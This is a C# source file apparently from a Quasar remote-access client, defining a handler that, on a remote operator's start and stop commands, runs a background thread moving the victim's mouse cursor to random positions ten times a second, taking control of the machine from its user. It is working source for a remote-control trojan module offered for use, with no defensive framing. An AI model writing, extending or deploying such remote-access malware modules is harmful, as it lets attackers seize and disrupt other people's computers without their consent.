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using Quasar.Common.Messages;
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using Quasar.Common.Networking;
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using System;
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using System.Runtime.InteropServices;
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using System.Threading;
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using System.Windows.Forms;
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namespace Quasar.Client.Messages
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{
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public class CursorChaosHandler : IMessageProcessor, IDisposable
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{
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[DllImport("user32.dll")]
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private static extern bool SetCursorPos(int x, int y);
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private Thread _thread;
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private volatile bool _running;
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public bool CanExecute(IMessage message) => message is DoStartCursorChaos || message is DoStopCursorChaos;
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public bool CanExecuteFrom(ISender sender) => true;
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public void Execute(ISender sender, IMessage message)
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{
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switch (message)
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{
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case DoStartCursorChaos _: Start(); break;
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case DoStopCursorChaos _: Stop(); break;
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}
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}
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private void Start()
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{
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if (_running) return;
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_running = true;
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_thread = new Thread(() =>
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{
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var rng = new Random();
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while (_running)
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{
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try
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{
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int x = rng.Next(SystemInformation.VirtualScreen.Left, SystemInformation.VirtualScreen.Right);
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int y = rng.Next(SystemInformation.VirtualScreen.Top, SystemInformation.VirtualScreen.Bottom);
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SetCursorPos(x, y);
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}
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catch { }
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Thread.Sleep(100);
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}
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});
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_thread.IsBackground = true;
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_thread.Start();
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}
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private void Stop() => _running = false;
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public void Dispose() => Stop();
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}
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}
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